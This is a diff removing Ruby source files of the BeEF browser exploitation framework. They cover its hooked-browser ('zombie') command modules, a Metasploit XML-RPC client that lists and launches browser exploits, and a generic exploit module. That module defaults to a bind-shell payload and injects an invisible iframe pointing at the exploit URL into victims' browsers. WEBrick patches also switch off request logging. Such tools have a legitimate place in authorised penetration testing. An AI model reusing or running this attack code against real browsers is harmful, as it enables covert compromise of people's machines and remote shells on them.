@default_command_url = '/command/'+(File.basename @path, '.rb')+'.js'
|
||||
@id = BeEF::Models::CommandModule.first(:path => @info['File']).object_id
|
||||
@use_template = false
|
||||
@auto_update_zombie = false
|
||||
@results = {}
|
||||
@beefjs_components = {}
|
||||
end
|
||||
|
||||
# This function is called just before the intructions are sent to hooked browser.
|
||||
# The derived class can use this function to update params used in the command module.
|
||||
def pre_send;
|
||||
end
|
||||
|
||||
# Callback method. This function is called when the hooked browser sends results back.
|
||||
def callback; end
|
||||
|
||||
# If the command requires some data to be sent back, this function will process them.
|
||||
def process_zombie_response(head, params); end
|
||||
|
||||
# Returns true if the command needs configurations to work. False if not.
|
||||
def needs_configuration?; !@datastore.nil?; end
|
||||
|
||||
# Returns information about the command in a JSON format.
|
||||
def to_json
|
||||
{
|
||||
'Name' => info['Name'],
|
||||
'Description' => info['Description'],
|
||||
'Category' => info['Category'],
|
||||
'Data' => info['Data']
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
|
||||
def build_datastore(data);
|
||||
@datastore = JSON.parse(data)
|
||||
end
|
||||
|
||||
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
|
||||
#
|
||||
# build_callback_datastore(http_params, http_header)
|
||||
#
|
||||
def build_callback_datastore(http_params, http_header)
|
||||
|
||||
@datastore = {'http_headers' => {}} # init the datastore
|
||||
|
||||
# get, check and add the http_params to the datastore
|
||||
http_params.keys.each { |http_params_key|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_params_key)
|
||||
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_params_value)
|
||||
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
# get, check and add the http_headers to the datastore
|
||||
http_header.keys.each { |http_header_key|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_header_key)
|
||||
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_header_value)
|
||||
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
# set the target details
|
||||
# this function is used when determining the code of the node icon
|
||||
def set_target(definition)
|
||||
|
||||
@target = [] if not @target
|
||||
@target.push(definition)
|
||||
|
||||
end
|
||||
|
||||
# verify whether this command module has been checked against the target browser
|
||||
# this function is used when determining the code of the node icon
|
||||
def verify_target
|
||||
|
||||
return VERIFIED_UNKNOWN if not @target # no target specified in the module
|
||||
|
||||
# loop through each definition and check it
|
||||
@target.each {|definition|
|
||||
return definition['verified_status'] if test_target(definition)
|
||||
}
|
||||
|
||||
return VERIFIED_UNKNOWN
|
||||
|
||||
end
|
||||
|
||||
# test if the target definition matches the hooked browser
|
||||
# this function is used when determining the code of the node icon
|
||||
def test_target_attribute(hb_attr_name, hb_attr_ver, target_attr_name, target_attr_max_ver, target_attr_min_ver)
|
||||
|
||||
# check if wild cards are set
|
||||
return true if not target_attr_name
|
||||
return true if target_attr_name.nil?
|
||||
return true if target_attr_name.eql? ALL
|
||||
|
||||
# can't answer based on hb_attr_name
|
||||
return false if not hb_attr_name
|
||||
return false if hb_attr_name.nil?
|
||||
return false if hb_attr_name.eql? UNKNOWN
|
||||
|
||||
# check if the attribute is targeted
|
||||
return false if not target_attr_name.eql? hb_attr_name
|
||||
|
||||
# assume that the max version and min version were purposefully excluded
|
||||
return true if target_attr_max_ver.nil? && target_attr_min_ver.nil?
|
||||
|
||||
# check if the framework can detect hb version
|
||||
return false if hb_attr_ver.eql? 'UNKNOWN'
|
||||
|
||||
# check the version number is within range
|
||||
return false if hb_attr_ver.to_f > target_attr_max_ver.to_f
|
||||
return false if hb_attr_ver.to_f < target_attr_min_ver.to_f
|
||||
|
||||
# all the checks passed
|
||||
true
|
||||
end
|
||||
|
||||
# test if the target definition matches the hooked browser
|
||||
# this function is used when determining the code of the node icon
|
||||
def test_target(target_definition)
|
||||
|
||||
# if the definition is nill we don't know
|
||||
return false if target_definition.nil?
|
||||
|
||||
# check if the browser is a target
|
||||
hb_browser_name = get_browser_detail('BrowserName')
|
||||
hb_browser_version = get_browser_detail('BrowserVersion')
|
||||
target_browser_name = target_definition['browser_name']
|
||||
target_browser_max_ver = target_definition['browser_max_ver']
|
||||
target_browser_min_ver = target_definition['browser_min_ver']
|
||||
browser_match = test_target_attribute(hb_browser_name, hb_browser_version, target_browser_name, target_browser_max_ver, target_browser_min_ver)
|
||||
|
||||
# check if the operating system is a target
|
||||
hb_os_name = get_browser_detail('OsName')
|
||||
target_os_name = target_definition['os_name']
|
||||
os_match = test_target_attribute(hb_os_name, nil, target_os_name, nil, nil)
|
||||
return browser_match && os_match
|
||||
|
||||
end
|
||||
|
||||
# Store the browser detail in the database.
|
||||
def set_browser_detail(key, value)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
|
||||
BD.set(@session_id, key, value)
|
||||
end
|
||||
|
||||
# Get the browser detail from the database.
|
||||
def get_browser_detail(key)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
|
||||
BD.get(@session_id, key)
|
||||
end
|
||||
|
||||
# Tells the framework that the command module will be using a template file.
|
||||
def use_template!;
|
||||
tpl = @info['File'].sub(/.rb$/, '.js')
|
||||
@template = tpl if File.exists? tpl
|
||||
|
||||
@use_template = true;
|
||||
end
|
||||
|
||||
# Returns true if the command uses a template. False if not.
|
||||
def use_template?; @use_template; end
|
||||
|
||||
# Returns the output of the command. These are the actual instructions sent to the browser.
|
||||
def output
|
||||
if use_template? # and @template
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@template is nil" if @template.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template
|
||||
|
||||
@eruby = Erubis::FastEruby.new(File.read(@template))
|
||||
|
||||
if @datastore
|
||||
@datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url)
|
||||
@datastore['command_id'] = @command_id
|
||||
|
||||
command_context = BeEF::CommandContext.new
|
||||
@datastore.each{|k,v|
|
||||
command_context[k] = v
|
||||
}
|
||||
|
||||
@output = @eruby.evaluate(command_context)
|
||||
else
|
||||
@ouput = @eruby.result()
|
||||
end
|
||||
end
|
||||
|
||||
@output
|
||||
end
|
||||
|
||||
# Returns the results for the zombie.
|
||||
def get_results
|
||||
return '' if @results.length.eql? 0
|
||||
|
||||
@results.to_json
|
||||
end
|
||||
|
||||
# Saves the results received from the zombie.
|
||||
def save(results);
|
||||
@results = results;
|
||||
end
|
||||
|
||||
# Tells the framework to load a specific module of the BeEFJS library that
|
||||
# the command will be using.
|
||||
#
|
||||
# use 'beef.net.local'
|
||||
# use 'beef.encode.base64'
|
||||
#
|
||||
def use(component)
|
||||
return if @beefjs_components.include? component
|
||||
|
||||
component_path = '/'+component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
|
||||
|
||||
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
|
||||
|
||||
@beefjs_components[component] = component_path
|
||||
end
|
||||
|
||||
def map_file_to_url(file, path=nil, extension=nil, count=1)
|
||||
return BeEF::AssetHandler.instance.bind(file, path, extension, count)
|
||||
end
|
||||
|
||||
def oc_value(name)
|
||||
option = BeEF::Models::OptionCache.first(:name => name)
|
||||
return nil if not option
|
||||
return option.value
|
||||
end
|
||||
|
||||
def apply_defaults()
|
||||
@datastore.each { |opt|
|
||||
opt["value"] = oc_value(opt["name"]) || opt["value"]
|
||||
}
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@use_template
|
||||
@eruby
|
||||
@update_zombie
|
||||
@results
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,176 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# XML RPC Client for Metasploit
|
||||
#
|
||||
class MsfClient < ::XMLRPC::Client
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Configuration.instance
|
||||
@enabled = (@config.get('enable_msf').to_i > 0)
|
||||
return if (not @enabled)
|
||||
host = @config.get('msf_host')
|
||||
path = @config.get('msf_path')
|
||||
port = @config.get('msf_port')
|
||||
@un = @config.get('msf_user')
|
||||
@pw = @config.get('msf_pass')
|
||||
@lock = false
|
||||
|
||||
if(not host or not path or not port or not @un or not @pw)
|
||||
print "There is not enough information to initalize Metasploit connectivity at this time. Please check your options in config.ini to verify that all information is present\n"
|
||||
@enabled = false
|
||||
end
|
||||
|
||||
@token = nil
|
||||
@lastauth = nil
|
||||
|
||||
super(host,path,port)
|
||||
|
||||
|
||||
end
|
||||
def get_lock()
|
||||
sleep 0.2 while @lock
|
||||
@lock = true
|
||||
end
|
||||
|
||||
def release_lock()
|
||||
@lock = false
|
||||
end
|
||||
|
||||
# is metasploit enabled in the configuration
|
||||
def is_enabled
|
||||
@enabled
|
||||
end
|
||||
|
||||
# login into metasploit
|
||||
def login
|
||||
get_lock()
|
||||
res = self.call("auth.login", @un ,@pw )
|
||||
if(not (res and res['result'] == "success"))
|
||||
@enabled = false
|
||||
release_lock()
|
||||
return false
|
||||
end
|
||||
@token = res['token']
|
||||
@lastauth = Time.now
|
||||
release_lock()
|
||||
|
||||
true
|
||||
|
||||
end
|
||||
|
||||
# sends commands to the metasploit xml rpc server
|
||||
def call(meth, *args)
|
||||
return if not @enabled
|
||||
|
||||
if(meth != "auth.login")
|
||||
self.login() if not @token
|
||||
args.unshift(@token)
|
||||
end
|
||||
|
||||
begin
|
||||
super(meth, *args)
|
||||
rescue Errno::ECONNREFUSED
|
||||
print "WARNING: Connection to Metasploit backend failed. This is typically because it is either not running your connection information is incorrect, please verify this information and try again. Metasploit capabilities have been disabled until this is fixed\n"
|
||||
@enabled = false
|
||||
return false
|
||||
rescue XMLRPC::FaultException => e
|
||||
if e.faultCode == 401 and meth == "auth.login"
|
||||
print "WARNING: Your username and password combination was rejected by the Metasploit backend server. Please verify your settings and restart the BeEF server. Metasploit connectivity has been disabled.\n"
|
||||
@enabled = false
|
||||
elsif e.faultCode == 401
|
||||
res = self.login()
|
||||
else
|
||||
print "WARNING: An unknown exception has occured while talking to the Metasploit backend. The Exception text is (#{e.faultCode} : #{e.faultString}. Please check the Metasploit logs for more details.\n"
|
||||
end
|
||||
return false
|
||||
rescue Exception => e
|
||||
print "WARNING: An unknown exception (#{e}) has occured while talking to the Metasploit backend. Please check the Metasploit logs for more details.\n"
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def browser_exploits()
|
||||
return if not @enabled
|
||||
|
||||
get_lock()
|
||||
res = self.call('module.exploits')
|
||||
return [] if not res or not res['modules']
|
||||
|
||||
mods = res['modules']
|
||||
ret = []
|
||||
mods.each do |m|
|
||||
ret << m if(m.include? '/browser/')
|
||||
end
|
||||
release_lock()
|
||||
ret.sort
|
||||
end
|
||||
|
||||
def get_exploit_info(name)
|
||||
return if not @enabled
|
||||
get_lock()
|
||||
res = self.call('module.info','exploit',name)
|
||||
release_lock()
|
||||
res || {}
|
||||
end
|
||||
def get_payloads(name)
|
||||
return if not @enabled
|
||||
get_lock()
|
||||
res = self.call('module.compatible_payloads',name)
|
||||
release_lock()
|
||||
res || {}
|
||||
end
|
||||
def get_options(name)
|
||||
return if not @enabled
|
||||
get_lock()
|
||||
res = self.call('module.options','exploit',name)
|
||||
release_lock()
|
||||
res || {}
|
||||
end
|
||||
def payloads()
|
||||
return if not @enabled
|
||||
get_lock()
|
||||
res = self.call('module.payloads')
|
||||
release_lock()
|
||||
return {} if not res or not res['modules']
|
||||
res['modules']
|
||||
end
|
||||
def payload_options(name)
|
||||
return if not @enabled
|
||||
get_lock()
|
||||
res = self.call('module.options','payload',name)
|
||||
release_lock
|
||||
return {} if not res
|
||||
res
|
||||
end
|
||||
def launch_exploit(exploit,opts)
|
||||
return if not @enabled
|
||||
get_lock()
|
||||
begin
|
||||
res = self.call('module.execute','exploit',exploit,opts)
|
||||
rescue Exception => e
|
||||
print "Exploit failed for #{exploit} \n"
|
||||
release_lock()
|
||||
return false
|
||||
end
|
||||
release_lock()
|
||||
|
||||
uri = ""
|
||||
if opts['SSL']
|
||||
uri += "https://"
|
||||
else
|
||||
uri += "http://"
|
||||
end
|
||||
|
||||
uri += @config.get('msf_callback_host') + ":" + opts['SRVPORT'] + "/" + opts['URIPATH']
|
||||
|
||||
res['uri'] = uri
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,216 +0,0 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Msf < BeEF::Command
|
||||
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Generic Metasploit Exploit',
|
||||
|
||||
'Description' => %Q{
|
||||
This module will launch a Metasploit exploit against the host
|
||||
},
|
||||
'Category' => 'Metasploit',
|
||||
'Author' => ['sussurro'],
|
||||
'Data' => [ ],
|
||||
'File' => __FILE__,
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
end
|
||||
|
||||
def callback
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
#
|
||||
def update_info(id)
|
||||
mod = BeEF::Models::CommandModule.first(:id => id)
|
||||
msfinfo = nil
|
||||
targets = []
|
||||
|
||||
if mod.dynamic_command_info == nil
|
||||
|
||||
msf = BeEF::MsfClient.instance
|
||||
msf.login()
|
||||
msfinfo = msf.get_exploit_info(mod.name)
|
||||
|
||||
st = mod.name.split('/').first
|
||||
puts "st: " + st
|
||||
|
||||
os_name = BeEF::Constants::Os::match_os(st)
|
||||
browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json)
|
||||
|
||||
targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0
|
||||
|
||||
browsers.each do |bn|
|
||||
targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1}
|
||||
end
|
||||
|
||||
targets << {'os_name' => "ALL", 'verified_status' => 0 }
|
||||
|
||||
|
||||
mod.dynamic_command_info = BeEF::Models::DynamicCommandInfo.new(
|
||||
:name => msfinfo['name'],
|
||||
:description => msfinfo['description'],
|
||||
:targets => targets.to_json);
|
||||
mod.save
|
||||
else
|
||||
msfinfo = mod.dynamic_command_info
|
||||
targets = JSON.parse(msfinfo['targets'])
|
||||
end
|
||||
@info['Name'] = msfinfo['name']
|
||||
@info['Description'] = msfinfo['description']
|
||||
@info['MsfModName'] = mod.name
|
||||
@info['mod-id'] = mod.id
|
||||
@info['msfid'] = mod.name
|
||||
@target = targets
|
||||
|
||||
end
|
||||
def update_data()
|
||||
modname = @info['MsfModName']
|
||||
|
||||
msf = BeEF::MsfClient.instance
|
||||
if not msf.is_enabled
|
||||
@info['Description'] += "<BR>" + "*"*15 + "WARNING" + "*"*15 + "<BR>"
|
||||
@info['Description'] += "Metasploit capapbilities have been disabled, please verify your configuration or if msf_enabled = 1 then check the BeEF console for errors"
|
||||
return
|
||||
end
|
||||
msfoptions = msf.get_options(modname)
|
||||
msfoptions.keys.each { |k|
|
||||
next if msfoptions[k]['advanced'] == true
|
||||
next if msfoptions[k]['evasion'] == true
|
||||
@info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => msfoptions[k]['desc']}
|
||||
case msfoptions[k]['type']
|
||||
when "string","address","port"
|
||||
msfoptions[k]['default'] = rand(32**20).to_s(32) if k == "URIPATH"
|
||||
@info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || msfoptions[k]['default'])}
|
||||
when "bool"
|
||||
@info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k }
|
||||
when "enum"
|
||||
enumdata = []
|
||||
msfoptions[k]['enums'].each { |e|
|
||||
enumdata << [e]
|
||||
}
|
||||
@info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => enumdata, 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || msfoptions[k]['default'])}
|
||||
else
|
||||
print "K => #{k}\n"
|
||||
print "Status => #{msfoptions[k]['advanced']}\n"
|
||||
end
|
||||
}
|
||||
|
||||
msfpayloads = msf.get_payloads(modname)
|
||||
return if not msfpayloads or not msfpayloads['payloads']
|
||||
|
||||
payloads = msfpayloads['payloads']
|
||||
pl = []
|
||||
pl << [(oc_value('PAYLOAD') || 'generic/shell_bind_tcp')]
|
||||
payloads.each { |p|
|
||||
pl << [p]
|
||||
}
|
||||
|
||||
@info['Data'] << { 'name' => 'PAYLOAD',
|
||||
'type' => 'combobox',
|
||||
'anchor' => '95% -100',
|
||||
'ui_label' => 'Payload',
|
||||
'store_type' => 'arraystore',
|
||||
'store_fields' => ['payload'],
|
||||
'store_data' => pl,
|
||||
'valueField' => 'payload',
|
||||
'displayField' => 'payload' ,
|
||||
'autoWidth' => true,
|
||||
'mode' => 'local',
|
||||
'reloadOnChange' => true, # this will trigger a reload of the payload options
|
||||
'emptyText' => "select a payload..."}
|
||||
|
||||
@info['Data'] << { 'name' => 'mod_id' , 'id' => 'mod_id', 'type' => 'hidden', 'value' => @info['mod-id'] }
|
||||
|
||||
end
|
||||
|
||||
def get_payload_options(payload_name)
|
||||
# get payload options from metasploit
|
||||
msf_xmlrpc_clinet = BeEF::MsfClient.instance
|
||||
msf_xmlrpc_clinet.login()
|
||||
payload_options = msf_xmlrpc_clinet.payload_options(payload_name)
|
||||
|
||||
info = {}
|
||||
info['Data'] = []
|
||||
|
||||
payload_options.keys.each { |k|
|
||||
next if payload_options[k]['advanced'] == true
|
||||
next if payload_options[k]['evasion'] == true
|
||||
info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => payload_options[k]['desc']}
|
||||
case payload_options[k]['type']
|
||||
when "string","address","port","raw","path", "integer"
|
||||
payload_options[k]['default'] = "127.0.0.1" if k == "RHOST"
|
||||
info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || payload_options[k]['default'])}
|
||||
when "bool"
|
||||
info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k }
|
||||
when "enum"
|
||||
info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || payload_options[k]['default'])}
|
||||
else
|
||||
# Debug output if the payload option type isn't found
|
||||
puts "K => #{k}\n"
|
||||
puts "Status => #{payload_options[k]['advanced']}\n"
|
||||
puts "Type => #{payload_options[k]['type']}\n"
|
||||
puts payload_options[k]
|
||||
end
|
||||
}
|
||||
|
||||
# turn results into JSON
|
||||
payload_options_json = []
|
||||
payload_options_json[1] = JSON.parse(info.to_json)
|
||||
|
||||
JSON.parse(info.to_json)
|
||||
|
||||
end
|
||||
def launch_exploit(opts)
|
||||
|
||||
msf = BeEF::MsfClient.instance
|
||||
msf.login()
|
||||
ret = msf.launch_exploit(@info['msfid'],opts)
|
||||
@output = "<script>alert('#{ret['uri']}')</script>\n" if ret['result'] == 'success'
|
||||
ret
|
||||
end
|
||||
|
||||
|
||||
def output
|
||||
if @datastore
|
||||
@datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url)
|
||||
@datastore['command_id'] = @command_id
|
||||
end
|
||||
|
||||
|
||||
return "
|
||||
|
||||
beef.execute(function() {
|
||||
var result;
|
||||
|
||||
try {
|
||||
var sploit = beef.dom.createInvisibleIframe();
|
||||
sploit.src = '#{datastore['sploit_url']}';
|
||||
} catch(e) {
|
||||
for(var n in e)
|
||||
result+= n + ' ' + e[n] ;
|
||||
}
|
||||
|
||||
});"
|
||||
end
|
||||
def callback
|
||||
content = {}
|
||||
content['Exploit Results'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class Cookie
|
||||
attr_accessor :httponly
|
||||
|
||||
def to_s
|
||||
ret = ""
|
||||
ret << @name << "=" << @value
|
||||
ret << "; " << "Version=" << @version.to_s if @version > 0
|
||||
ret << "; " << "Domain=" << @domain if @domain
|
||||
ret << "; " << "Expires=" << @expires if @expires
|
||||
ret << "; " << "Max-Age=" << @max_age.to_s if @max_age
|
||||
ret << "; " << "Comment=" << @comment if @comment
|
||||
ret << "; " << "Path=" << @path if @path
|
||||
ret << "; " << "Secure" if @secure
|
||||
ret << "; " << "HttpOnly" if @httponly
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,15 +0,0 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPServer < ::WEBrick::GenericServer
|
||||
|
||||
# I'm patching WEBrick so it does not log http requests anymore.
|
||||
# The reason being that it seems to considerably slow down BeEF which receives
|
||||
# numerous requests simultaneously. Additionally, it was also found to crash
|
||||
# the thread when not being able to write to the log file (which happened when
|
||||
# overloaded).
|
||||
def access_log(config, req, res); return; end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,77 +0,0 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPRequest
|
||||
|
||||
# I'm patching the HTTPRequest class so that it when it receives POST
|
||||
# http requests, it parses the query present in the body even if the
|
||||
# content type is not set.
|
||||
#
|
||||
# The reason for this patch is that when a zombie sends back data to
|
||||
# BeEF, that data was not parsed because by default the content-type
|
||||
# was not set directly. I prefer patching WEBrick rather than editing
|
||||
# the BeEFJS library because cross domain http requests would be harder
|
||||
# to implement at the server level.
|
||||
#
|
||||
# Note: this function would need to be modified if we ever needed to
|
||||
# use multipart POST requests.
|
||||
def parse_query()
|
||||
begin
|
||||
if @request_method == "GET" || @request_method == "HEAD"
|
||||
@query = HTTPUtils::parse_query(@query_string)
|
||||
elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/
|
||||
@query = HTTPUtils::parse_query(body)
|
||||
elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
|
||||
boundary = HTTPUtils::dequote($1)
|
||||
@query = HTTPUtils::parse_form_data(body, boundary)
|
||||
else
|
||||
@query = Hash.new
|
||||
end
|
||||
rescue => ex
|
||||
raise HTTPStatus::BadRequest, ex.message
|
||||
end
|
||||
end
|
||||
|
||||
def get_cookie_value(name)
|
||||
|
||||
return nil if name.nil?
|
||||
|
||||
@cookies.each{|cookie|
|
||||
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
|
||||
return c.value if (c.name.to_s.eql? name)
|
||||
}
|
||||
|
||||
nil
|
||||
|
||||
end
|
||||
|
||||
def get_referer_domain
|
||||
|
||||
referer = header['referer'][0]
|
||||
|
||||
if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\//
|
||||
return $1
|
||||
end
|
||||
|
||||
nil
|
||||
|
||||
end
|
||||
|
||||
def get_hook_session_id()
|
||||
|
||||
config = BeEF::Configuration.instance
|
||||
hook_session_name = config.get('hook_session_name')
|
||||
|
||||
@query[hook_session_name] || nil
|
||||
|
||||
end
|
||||
|
||||
# return the command module command_id value from the request
|
||||
def get_command_id()
|
||||
@query['command_id'] || nil
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,75 +0,0 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPResponse
|
||||
|
||||
#
|
||||
# set caching headers none
|
||||
#
|
||||
def set_no_cache()
|
||||
@header['ETag'] = nil
|
||||
@header['Last-Modified'] = Time.now + 100**4
|
||||
@header['Expires'] = Time.now - 100**4
|
||||
@header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
|
||||
@header['Pragma'] = 'no-cache'
|
||||
end
|
||||
|
||||
#
|
||||
# set the cookie in the response
|
||||
# Limit: only one set-cookie will be within the response
|
||||
#
|
||||
def set_cookie(name, value, path = '/', httponly = true, secure = true)
|
||||
|
||||
cookie = WEBrick::Cookie.new(name, value)
|
||||
cookie.path = path
|
||||
cookie.httponly = httponly
|
||||
cookie.secure = secure
|
||||
|
||||
# add cookie to response header
|
||||
@header['Set-Cookie'] = cookie.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# This patch should prevent leakage of directory listing, access
|
||||
# auth errors, etc.
|
||||
#
|
||||
def set_error(ex, backtrace=false)
|
||||
|
||||
# set repsonse headers
|
||||
@status = 404;
|
||||
@header['content-type'] = "text/html; charset=UTF-8"
|
||||
|
||||
# set response content
|
||||
@body = ''
|
||||
@body << <<-_end_of_html_
|
||||
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>No page for you!</TITLE>
|
||||
|
||||
<STYLE type="text/css">
|
||||
BODY { font: 8pt/12pt verdana }
|
||||
H1 { font: 13pt/15pt verdana }
|
||||
H2 { font: 8pt/12pt verdana }
|
||||
A:link { color: black; text-decoration: none }
|
||||
A:visited { color: black; text-decoration: none }
|
||||
</STYLE>
|
||||
|
||||
</HEAD><BODY>
|
||||
<TABLE width=500 border=0 cellspacing=10>
|
||||
<TR>
|
||||
<TD>
|
||||
|
||||
<h1><a href="http://www.bindshell.net/tools/beef/">These aren't the pages you're looking for</a></h1>
|
||||
|
||||
</TD>
|
||||
</TR>
|
||||
</TABLE>
|
||||
</BODY>
|
||||
</HTML>
|
||||
|
||||
_end_of_html_
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,32 +0,0 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
|
||||
module WEBrick
|
||||
module HTTPServlet
|
||||
|
||||
class FileHandler
|
||||
|
||||
# prevent directory traversal attacks
|
||||
def prevent_directory_traversal(req, res)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info)
|
||||
|
||||
if trailing_pathsep?(req.path_info)
|
||||
expanded = File.expand_path(req.path_info + "x")
|
||||
expanded.chop! # remove trailing "x"
|
||||
else
|
||||
expanded = File.expand_path(req.path_info)
|
||||
end
|
||||
req.path_info = expanded
|
||||
end
|
||||
|
||||
# checks if a string contains null characters
|
||||
def has_null? (str)
|
||||
str.split(//).each {|c|
|
||||
return true if c.eql?("\000")
|
||||
}
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,74 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# Class defining BeEF assets
|
||||
#
|
||||
class AssetHandler
|
||||
|
||||
# call BeEF::AssetHanlder.instance
|
||||
include Singleton
|
||||
|
||||
attr_reader :allocations, :root_dir
|
||||
|
||||
def initialize
|
||||
@allocations = {}
|
||||
@http_server = BeEF::HttpHookServer.instance
|
||||
@root_dir = File.expand_path('../../../', __FILE__)
|
||||
end
|
||||
|
||||
#
|
||||
# Binds a file to a mount point
|
||||
#
|
||||
def bind(file, path=nil, extension=nil, count=-1)
|
||||
url = buildURL(path, extension)
|
||||
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
|
||||
@http_server.mount(url, true, BeEF::FileHandler, @allocations[url]['file'])
|
||||
puts "+ File [" + "#{root_dir}"+file + "] binded to url [" + url + "]"
|
||||
return url
|
||||
end
|
||||
|
||||
#
|
||||
# Unbinds a file from a mount point
|
||||
#
|
||||
def unbind(url)
|
||||
@allocations.delete(url)
|
||||
@http_server.unmount(url, true)
|
||||
end
|
||||
|
||||
#
|
||||
# Builds a URL based on the path and extention, if neither are passed a random URL will be generated
|
||||
#
|
||||
def buildURL(path, extension, length=20)
|
||||
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path;
|
||||
url += (extension == nil) ? '' : '.'+extension;
|
||||
return url
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
|
||||
#
|
||||
def check(url)
|
||||
if @allocations.has_key?(url)
|
||||
count = @allocations[url]['count']
|
||||
if count == -1
|
||||
return true
|
||||
end
|
||||
if count > 0
|
||||
if (count - 1) == 0
|
||||
unbind(url)
|
||||
else
|
||||
@allocations[url]['count'] = count - 1
|
||||
end
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
private
|
||||
@http_server
|
||||
@allocations
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,57 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
class CommandHandler
|
||||
|
||||
include BeEF::Server::Modules::Common
|
||||
|
||||
attr_reader :guard
|
||||
@data = {}
|
||||
|
||||
def initialize(data, kclass)
|
||||
@guard = Mutex.new
|
||||
@kclass = BeEF::Modules::Commands.const_get(kclass.capitalize)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
def setup()
|
||||
